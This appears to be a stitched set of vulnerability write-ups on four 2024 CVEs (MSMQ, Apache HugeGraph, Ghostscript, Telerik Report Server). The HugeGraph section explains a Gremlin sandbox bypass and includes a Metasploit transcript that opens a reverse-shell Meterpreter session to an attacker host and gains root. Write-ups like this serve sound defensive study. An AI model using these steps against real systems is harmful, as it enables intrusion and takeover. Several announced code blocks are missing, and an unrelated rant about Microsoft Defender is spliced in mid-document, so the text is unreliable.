This vulnerability flew under my radar until I saw the results of the 2024 pwnie awards and couldn’t help but notice how it won the award for “Best RCE”. This vulnerability in the Microsoft Messaging Queue Service is a critical pre-authenticated remote code execution vulnerability with a CVSS score of 9.8. It affects all Windows versions from Server 2008 to Server 2022, and Windows 10 and 11, the flaw stems from a use-after-free issue triggered via an HTTP-based protocol. The vulnerable object is fully controllable, heightening the exploitation risk. Notably, the bug was discovered through an overlooked RPC client pattern.

By default MSMQ is not enabled on Windows. However, when you install popular applications such as Microsoft Exchange, it gets enabled during the installation process. Given popularity of the service among common applications a scan of the internet last year by CheckPointResearch found that ~360,000 IPs have the 1801/tcp open to the Internet and are running the MSMQ service.

Currently there is no publicly available PoC, however if one were to be released I would assume we would see exploitation in the wild, given the large internet facing footprint of MSMQ.

This is a Remote Code Execution vulnerability Apache HugeGraph in versions before 1.3.0 which are running on Java 8 or Java 11. Apache HugeGraph utilizes Gremlin which is a versatile graph traversal language which enables efficient and expressive graph queries across a range of graph databases and frameworks. The vulnerability exists in the /gremlin endpoint and can be used to bypass sandbox restrictions in order to gain privileged access to the target.

If we take a look at the part of the patch relevant relevant to CVE-2024-27348:

We can see that a number of critical system classes are now being registered to be filtered out by this new function filterCriticalSystemClasses which tells us the vulnerability exists due to non-filtered classes.

If we take a look at the Gremlin documentation we can see how we can interact with Gremlin in order to send a query and receive a response:
https://hugegraph.apache.org/docs/clients/restful-api/gremlin/#method—url-1

We now know that Gremlin accepts user supplied java and runs it in the backend. If we try sending some blatant RCE to Gremin like so:

We get the following response:

{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}

If we examine where this error comes from we can see how we can bypass this exception. HugeGraph uses the HugeSecurityManager class to override SystemSecurityManager to implement some custom security checks to ensure that potentially malicious actions initiated by Gremlin are dealt with accordingly. By examining the three methods below from the vulnerable versions of HugeGraph we can see how this vulnerability can be exploited.

The checkExec method is the method that threw the error we were seeing above;

It calls callFromGremlin in order to determine whether or not the user supplied gremlin statement is safe to execute, which is just a wrapper around callFromWorkerWithClass:

This is the class containing the vulnerability. We can see the callFromWorkerWithClass function tries to determine if the current execution context originates from the worker classes associated with gremlin server tasks. It first gets the current thread and checks to see if the thread’s name begins with gremlin-server-exec or task-worker. That is the crux of the vulnerability – if the current thread name does not start with either of those strings it will completely skip the security check put in place to ensure no malicious requests are passed in through gremlin.

We can see if the current thread does start with gremlin-server-exec or task-worker then the method gets the stack trace from the current thread which is an array of StackTraceElement objects representing the call stack. It iterates through each element and extracts the class name of each. It then compares each class name extracted to the blacklist of class names, if there are any matches the method returns true indicating the security exception above should be thrown.

So, now that we’ve taken a look at the patch, the vulnerable function, and how one can send gremlin requests to Apache HugeGraph we now have all the information needed to exploit the vulnerability. All we need to do is change the name of our thread in our payload using reflections which will allow us to bypass the class blacklist mentioned above. This is what a successful java payload would looks like:

Testing

If you’d like to exploit this vulnerability yourself, a vulnerable test environment can be spun up with the following docker command:

docker run -itd –name=hugegraph -p 8080:8080 hugegraph/hugegraph:1.0.0

And the following metasploit module can be used to gain root access to the container:

msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache HugeGraph version detected: 1.0.0
[*] 127.0.0.1:8080 - Executing Automatic Target for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.1:53803) at 2024-07-29 13:59:20 -0700
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 11.4 (Linux 6.6.32-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Attack Value and Exploitability

The main reason to give this vulnerability a 4 out of 5 rating for attacker value is that ApacheHuge graph is not usually a public facing application. There were only 6 publicly available instances found on the internet by vsociety. However if an attacker gains a foothold in your network and then discovers a vulnerable Apache HugeGraph instance, the root access it will provide will be quite valuable.

As for exploitability, 5 out of 5 was chosen because it is exploitable:

1. Easily
   
2. Remotely
   
3. And without authentication.
   

WARNING: This is an example of the Microsoft Defender missing when you need it! Do not do this. This problem will last a long time because Microsoft still doesn’t have a decision on HOW THEY FIXT this mess, that they made himself! Almost all of the users don’t UNDERSTAND ANYTHING FROM WARNINGS! THIS IS NOT ENOUGH! DEAR MICROSOFT!

PoC

Best Regards

Ghostscript is vulnerable to a critical format string vulnerability that affects versions before 10.03.1. An attacker could leverage this vulnerability to disable the SAFER sandbox and execute arbitrary code through the Ghostscript interpreter. The SAFER protection is enabled by default from version 9.50 and implements multiple sandbox functionalities restricting various dangerous operations, such as command execution via the use of %pipe%command. An attacker could exploit this format string vulnerability to disable this protection and escape the sandbox, leading to remote code execution.

The issue lies in the upd_wrtrtl() function, which can be reached by selecting the uniprint device. The upYMoveCommand and upWriteComponentCommands device parameters are used as a format string for the gs_snprintf() function, a custom implementation of the regular libc snprintf(). Please, refer to this excellent write-up for further details.

What makes this vulnerability even more dangerous is the fact that Ghostscript is used by libraries such as ImageMagick, often used by web applications to handle and convert images or documents. An attacker could simply upload a malicious Postscript file and gain remote code execution on the web server. A Metasploit module exists and can be used to test if Ghostscript is vulnerable.

CVE-2024-6327 is a critical unauthenticated deserialization vulnerability within Progress Telerik Report Server before 10.1.24.709. This vulnerability comes shortly after the similar CVE-2024-1800 was announced and in tandem with CVE-2024-6096. CVE-2024-6096 also affects versions prior to 10.1.24.709. No in-depth description, PoC, or exploitation in the wild has been reported, though given the description and popularity of the software, I expect there will be more information incoming soon.
Telerik has published a good article with some details and mitigation suggestions to prevent attacks until users have time to patch.
You can find it here: https://docs.telerik.com/report-server/knowledge-base/deserialization-vulnerability-cve-2024-6327.
The mitigation itself is to ensure the user for the Report Server Application has limited permissions, and the documentation for setting that up can be found here: https://docs.telerik.com/report-server/knowledge-base/how-to-change-report-server-iis-user